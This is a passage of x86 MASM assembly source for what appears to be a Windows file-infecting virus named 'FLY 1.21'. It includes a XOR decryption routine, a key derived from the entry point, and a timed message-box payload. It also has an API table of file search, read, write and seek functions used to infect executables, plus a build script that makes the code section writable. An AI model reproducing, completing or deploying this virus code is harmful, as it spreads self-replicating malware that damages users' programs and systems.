ARG_2 EQU [ESP + 8 + SIZEOF PUSHA_STRUCT]
|
|
ARG_3 EQU [ESP + 12 + SIZEOF PUSHA_STRUCT]
|
|
PUSHAD
|
|
MOV ESI, ARG_1 ; ESI -> data ptr
|
|
MOV ECX, ARG_2
|
|
MOV EAX, ARG_3 ; EAX -> xor byte
|
|
memxor_loop:
|
|
XOR BYTE PTR [ESI], AL
|
|
INC ESI
|
|
LOOP memxor_loop
|
|
POPAD
|
|
RET 12
|
|
|
|
;
|
|
; this is the payload
|
|
;
|
|
; ReservedRegs: ALL
|
|
;
|
|
DriveUserNutsHiHi:
|
|
; PC already MIN_PAYLOAD_TICK seconds up ?
|
|
CALL [EBP + _GetTickCount]
|
|
CMP EAX, MIN_PAYLOAD_TICK
|
|
JB DriveUserNutsHiHi_exit
|
|
; build "USER32\0" on stack
|
|
SUB ESP, 8
|
|
MOV EDI, ESP ; User32 str on stack
|
|
MOV DWORD PTR [EDI], "RESU"
|
|
MOV DWORD PTR [EDI + 4], "23"
|
|
; get MessageBoxA addr
|
|
PUSH EDI
|
|
CALL [EBP + _LoadLibrary] ; EAX -> U32 base
|
|
ADD ESP, 8
|
|
OR EAX, EAX
|
|
JZ DriveUserNutsHiHi_exit
|
|
LEA EDI, [EBP + MBStrSize] ; EDI -> API info (str size/str)
|
|
MOVZX EBX, BYTE PTR [EDI]
|
|
PUSH EBX
|
|
INC EDI
|
|
PUSH EDI
|
|
PUSH EAX
|
|
CALL GetProcAddr ; EAX -> MessageBoxA addr
|
|
OR EAX, EAX
|
|
JZ DriveUserNutsHiHi_exit
|
|
; show msg
|
|
PUSH MB_SYSTEMMODAL OR MB_ICONWARNING OR MB_TOPMOST
|
|
LEA EBX, [EBP + szMBCaption]
|
|
PUSH EBX
|
|
LEA EBX, [EBP + szMBText]
|
|
PUSH EBX
|
|
SUB EBX, EBX
|
|
PUSH EBX
|
|
CALL EAX
|
|
DriveUserNutsHiHi_exit:
|
|
RET
|
|
|
|
;
|
|
; Reserved Regs: NO
|
|
;
|
|
; Args:
|
|
; EBX - EntryPoint RVA
|
|
;
|
|
; Returns: xor byte to dexor loader data parition in EAX
|
|
;
|
|
GetXorByte:
|
|
SUB EAX, EAX
|
|
SUB ECX, ECX
|
|
ADD CL, 4
|
|
GetXorByte_loop:
|
|
ADD AL, BL
|
|
SHR EBX, 8
|
|
LOOP GetXorByte_loop
|
|
RET
|
|
|
|
; ------ VARIABLES ----------------------------------------------------------------------
|
|
Loader_Variables:
|
|
dwEPRva DD 0 ; 0 in first generation
|
|
|
|
Variable_Crypt_Start:
|
|
dwImageBase DD 0 ; 0 in first generation
|
|
dwK32Base DD ?
|
|
|
|
bEntryData DB 6 DUP (0FFh)
|
|
|
|
MBStrSize DB 11 + 1
|
|
szMB DB "MessageBoxA", 0
|
|
szMBText DB "You stink.", 0
|
|
szMBCaption DB "FLY 1.21", 0
|
|
|
|
API_table:
|
|
DB 20 + 1
|
|
_GetCurrentDirectory DD ?
|
|
szGetCurrentDirectory DB "GetCurrentDirectoryA", 0
|
|
|
|
DB 20 + 1
|
|
_SetCurrentDirectory DD ?
|
|
szSetCurrentDirectory DB "SetCurrentDirectoryA", 0
|
|
|
|
DB 14 + 1
|
|
_FindFirstFile DD ?
|
|
szFindFirstFile DB "FindFirstFileA", 0
|
|
|
|
DB 13 + 1
|
|
_FindNextFile DD ?
|
|
szFindNextFile DB "FindNextFileA", 0
|
|
|
|
DB 9 + 1
|
|
_FindClose DD ?
|
|
szFindClose DB "FindClose", 0
|
|
|
|
DB 11 + 1
|
|
_CreateFile DD ?
|
|
szCreateFile DB "CreateFileA", 0
|
|
|
|
DB 11 + 1
|
|
_CloseHandle DD ?
|
|
szCloseHandle DB "CloseHandle", 0
|
|
|
|
DB 11 + 1
|
|
_GetFileSize DD ?
|
|
szGetFileSize DB "GetFileSize", 0
|
|
|
|
DB 11 + 1
|
|
_GlobalAlloc DD ?
|
|
szGlobalAlloc DB "GlobalAlloc", 0
|
|
|
|
DB 10 + 1
|
|
_GlobalFree DD ?
|
|
szGlobalFree DB "GlobalFree", 0
|
|
|
|
DB 8 + 1
|
|
_ReadFile DD ?
|
|
szReadFile DB "ReadFile", 0
|
|
|
|
DB 9 + 1
|
|
_WriteFile DD ?
|
|
szWriteFile DB "WriteFile", 0
|
|
|
|
DB 14 + 1
|
|
_SetFilePointer DD ?
|
|
szSetFilePointer DB "SetFilePointer", 0
|
|
DB 12 + 1
|
|
_LoadLibrary DD ?
|
|
szLoadLibrary DB "LoadLibraryA", 0
|
|
DB 12 + 1
|
|
_GetTickCount DD ?
|
|
szGetTickCount DB "GetTickCount", 0
|
|
dwcAPITableEnd DB 0
|
|
API_table_end:
|
|
Loader_Variables_end:
|
|
Variable_Crypt_End:
|
|
|
|
FLY_END:
|
|
end Main
|
|
; ------ END ----------------------------------------------------------------------------
|
|
|
|
:MAKE
|
|
CLS
|
|
\MASM32\BIN\ML /nologo /c /coff /Gz /Cp /Zp1 FLY.BAT
|
|
\MASM32\BIN\LINK /nologo /SUBSYSTEM:WINDOWS /SECTION:.text,REW FLY.obj
|
|
DEL *.OBJ
|
|
ECHO.
|
|
PAUSE
|
|
CLS
|